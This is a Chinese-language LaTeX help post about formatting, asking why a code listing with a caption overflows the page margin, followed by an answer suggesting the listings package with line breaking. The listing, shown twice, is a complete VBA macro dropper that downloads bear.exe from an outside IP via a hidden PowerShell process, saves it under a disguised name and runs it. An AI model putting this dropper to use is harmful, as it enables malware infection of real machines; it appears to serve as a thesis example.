我正在尝试添加一个代码示例,并可以在末尾添加标题,但它一直偏离页面右侧(见图)。
经过几个小时的谷歌搜索和测试后,我尝试了不同的 verbatim 和 verbbox 和 floats,我想我得出的结论是我一定是在谷歌上搜索了错误的东西并且偏离了方向。
\documentclass[11pt, oneside, a4paper]{memoir}
% Packages for use in the thesis
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{lmodern}
\usepackage{multicol}
\usepackage[a4paper,width=138mm,top=35mm,bottom=35mm,bindingoffset=10mm]{geometry}
\usepackage{url}
\usepackage{titlesec}
\usepackage{graphicx}
\usepackage{hyperref}
\usepackage{rotating}
% \usepackage{gensymb}
\usepackage{pdflscape}
\usepackage{mathrsfs,amsmath}
\usepackage{units}
\usepackage{siunitx}
\usepackage{acronym}
\usepackage{booktabs}
\usepackage[UKenglish]{babel}
\usepackage{bibentry}
\usepackage{subcaption}
\usepackage{natbib}
\usepackage{float}
\usepackage{longtable}
\usepackage{lscape}
\usepackage{verbatimbox,caption,lipsum}
\usepackage{multirow}
\usepackage{xurl}
\chapterstyle{madsen}
\pagestyle{myruled}
\title{test}
\author{hi}
\begin{document}
\newfloat{Code}
\captionsetup{Code}
\begin{verbbox}
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
Public Function download() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objW_M_I_INST = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim CC As String
Set Sta_rt_up = objW_M_I_INST.Get("Win32_ProcessStartup")
Set objCfg = Sta_rt_up.SpawnInstance_
objCfg.ShowWindow = HIDDEN_WINDOW
Set obj_Proc = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
\textbf{obj_Proc.Create "c:\windows\system32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c ""powershell -nop -c iwr -useb 10.10.10.1/bear.exe -outfile C:\windows\tasks\winscp.exe""", Null, objConfig, intProcessID}
End Function
Public Function execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objW_M_I_INST = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim CC As String
Set Sta_rt_up = objW_M_I_INST.Get("Win32_ProcessStartup")
Set objCfg = Sta_rt_up.SpawnInstance_
objCfg.ShowWindow = HIDDEN_WINDOW
Set obj_Proc = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
obj_Proc.Create "C:\windows\tasks\winscp.exe", Null, objConfig, intProcessID
End Function
Sub a()
download
Sleep 10000
execute
End Sub
\end{verbbox}
{\centering
\fbox{\theverbbox}
\captionof{Code}{Malicious Visual Basic Macro - bear.exe Dropper}\par
}
\bibliographystyle{alpha}
\bibliography{sample}
\end{document}
答案1
您使用该listings
包添加代码。使用该breaklines
选项,您可以允许自动换行。
除此之外,该软件包还有大量其他选项来定制代码的外观,这里有一个简短的例子,它应该提供与您展示的图像类似的内容:
\documentclass[11pt, oneside, a4paper]{memoir}
\usepackage[a4paper,width=138mm,top=35mm,bottom=35mm,bindingoffset=10mm]{geometry}
\usepackage{float}
\usepackage{caption}
\usepackage{listings}
\renewcommand{\lstlistingname}{Code}
\lstset{
breaklines=true,
basicstyle=\ttfamily\scriptsize,
frame=single,
captionpos=b,
}
\begin{document}
\begin{lstlisting}[
caption={Malicious Visual Basic Macro - bear.exe Dropper},
]
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
Public Function download() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objW_M_I_INST = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim CC As String
Set Sta_rt_up = objW_M_I_INST.Get("Win32_ProcessStartup")
Set objCfg = Sta_rt_up.SpawnInstance_
objCfg.ShowWindow = HIDDEN_WINDOW
Set obj_Proc = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
\textbf{obj_Proc.Create "c:\windows\system32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c ""powershell -nop -c iwr -useb 10.10.10.1/bear.exe -outfile C:\windows\tasks\winscp.exe""", Null, objConfig, intProcessID}
End Function
Public Function execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objW_M_I_INST = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim CC As String
Set Sta_rt_up = objW_M_I_INST.Get("Win32_ProcessStartup")
Set objCfg = Sta_rt_up.SpawnInstance_
objCfg.ShowWindow = HIDDEN_WINDOW
Set obj_Proc = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
obj_Proc.Create "C:\windows\tasks\winscp.exe", Null, objConfig, intProcessID
End Function
Sub a()
download
Sleep 10000
execute
End Sub
\end{lstlisting}
\end{document}